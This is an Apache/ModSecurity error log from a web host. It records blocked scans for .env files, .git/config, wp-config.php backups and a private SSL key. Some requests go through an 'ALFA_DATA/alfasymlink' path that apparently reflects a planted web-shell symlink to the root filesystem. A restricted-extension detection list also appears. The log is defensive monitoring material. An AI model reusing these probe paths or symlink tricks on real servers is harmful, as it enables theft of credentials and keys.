[Sun Oct 25 22:07:17.733651 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at611TmmX3asvCDITlDxZAAAAAA"]
[Sun Oct 25 22:07:17.810557 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at611dYvsK9lv2bQxMABhwAAABA"]
[Sun Oct 25 22:07:17.810791 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at611dYvsK9lv2bQxMABhwAAABA"]
[Sun Oct 25 22:07:17.811100 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at611dYvsK9lv2bQxMABhwAAABA"]
[Sun Oct 25 22:07:17.813044 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at611TmmX3asvCDITlDxZQAAAAA"]
[Sun Oct 25 22:07:17.813251 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at611TmmX3asvCDITlDxZQAAAAA"]
[Sun Oct 25 22:07:17.813601 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at611TmmX3asvCDITlDxZQAAAAA"]
[Sun Oct 25 22:07:17.892787 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at611TmmX3asvCDITlDxZgAAAAA"]
[Sun Oct 25 22:07:17.892986 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at611TmmX3asvCDITlDxZgAAAAA"]
[Sun Oct 25 22:07:17.893204 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at611TmmX3asvCDITlDxZgAAAAA"]
[Sun Oct 25 22:07:17.996691 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at611dYvsK9lv2bQxMABiQAAABA"]
[Sun Oct 25 22:07:17.996908 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at611dYvsK9lv2bQxMABiQAAABA"]
[Sun Oct 25 22:07:17.997167 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at611dYvsK9lv2bQxMABiQAAABA"]
[Sun Oct 25 22:07:18.083774 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at611jmmX3asvCDITlDxaAAAAAA"]
[Sun Oct 25 22:07:18.084108 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at611jmmX3asvCDITlDxaAAAAAA"]
[Sun Oct 25 22:07:18.084507 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at611jmmX3asvCDITlDxaAAAAAA"]
[Sun Oct 25 22:07:18.084822 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at611tYvsK9lv2bQxMABigAAABA"]
[Sun Oct 25 22:07:18.085038 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at611tYvsK9lv2bQxMABigAAABA"]
[Sun Oct 25 22:07:18.085390 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at611tYvsK9lv2bQxMABigAAABA"]
[Sun Oct 25 22:07:18.166896 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/wp-config.php.old"] [unique_id "at611tYvsK9lv2bQxMABiwAAABA"]
[Sun Oct 25 22:07:18.167167 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/wp-config.php.old"] [unique_id "at611tYvsK9lv2bQxMABiwAAABA"]
[Sun Oct 25 22:07:18.167434 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/wp-config.php.old"] [unique_id "at611tYvsK9lv2bQxMABiwAAABA"]
[Sun Oct 25 22:07:18.168465 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at611jmmX3asvCDITlDxaQAAAAA"]
[Sun Oct 25 22:07:18.168618 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at611jmmX3asvCDITlDxaQAAAAA"]
[Sun Oct 25 22:07:18.168829 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at611jmmX3asvCDITlDxaQAAAAA"]
[Sun Oct 25 22:07:18.259156 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/wp-config.php.old"] [unique_id "at611jmmX3asvCDITlDxagAAAAA"]
[Sun Oct 25 22:07:18.259381 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/wp-config.php.old"] [unique_id "at611jmmX3asvCDITlDxagAAAAA"]
[Sun Oct 25 22:07:18.259641 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/wp-config.php.old"] [unique_id "at611jmmX3asvCDITlDxagAAAAA"]
[Sun Oct 25 22:07:18.342591 2026] [proxy_fcgi:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 22:07:18.748175 2026] [proxy_fcgi:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 22:07:22.163484 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 34.225.87.80:18343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:07:34.210994 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 18.213.102.186:37781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:07:50.118509 2026] [ssl:error] [pid 2942903:tid 2942903] (5)Input/output error: [client 98.82.39.241:60164] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:07:51.806395 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 16.216.88.192:57344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/neighbor_netblocks
[Sun Oct 25 22:07:57.854563 2026] [core:error] [pid 2938938:tid 2938938] (13)Permission denied: [client 185.191.171.8:18130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/objects
[Sun Oct 25 22:07:58.125449 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 3.209.174.110:15604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:02.134024 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 3.210.223.61:20510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/firmware_node/subsystem/devices/LNXCPU:01/thermal_cooling/device/eject
[Sun Oct 25 22:08:04.888816 2026] [security2:error] [pid 2938904:tid 2938904] [client 107.172.76.131:50202] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at619zrbYhOoSbkbrVN5bgAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 22:08:04.888863 2026] [security2:error] [pid 2938904:tid 2938904] [client 107.172.76.131:50202] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at619zrbYhOoSbkbrVN5bgAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 22:08:06.263692 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 3.224.215.150:20877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:30.135567 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.44.174.136:19576] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:31.308737 2026] [core:error] [pid 2936921:tid 2936921] (13)Permission denied: [client 85.208.96.197:26436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/free_calls
[Sun Oct 25 22:08:34.116934 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 44.213.36.21:15883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:35.842566 2026] [security2:error] [pid 2930612:tid 2930612] [client 185.191.171.18:11768] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a29f5_0031d_23703b9b3061fa35b34037b6fa100fb1.key"] [unique_id "at62I5HtMtN5e4U4U0bidgAAAAI"]
[Sun Oct 25 22:08:35.842989 2026] [security2:error] [pid 2930612:tid 2930612] [client 185.191.171.18:11768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a29f5_0031d_23703b9b3061fa35b34037b6fa100fb1.key"] [unique_id "at62I5HtMtN5e4U4U0bidgAAAAI"]
[Sun Oct 25 22:08:35.843253 2026] [security2:error] [pid 2930612:tid 2930612] [client 185.191.171.18:11768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a29f5_0031d_23703b9b3061fa35b34037b6fa100fb1.key"] [unique_id "at62I5HtMtN5e4U4U0bidgAAAAI"]
[Sun Oct 25 22:08:42.136806 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 54.235.158.162:3267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:43.662607 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "clic3.sherwinpinturas.com"] [uri "/"] [unique_id "at62KwIuNp5K2_eTlG2KjAAAAC0"]
[Sun Oct 25 22:08:43.663047 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/"] [unique_id "at62KwIuNp5K2_eTlG2KjAAAAC0"]
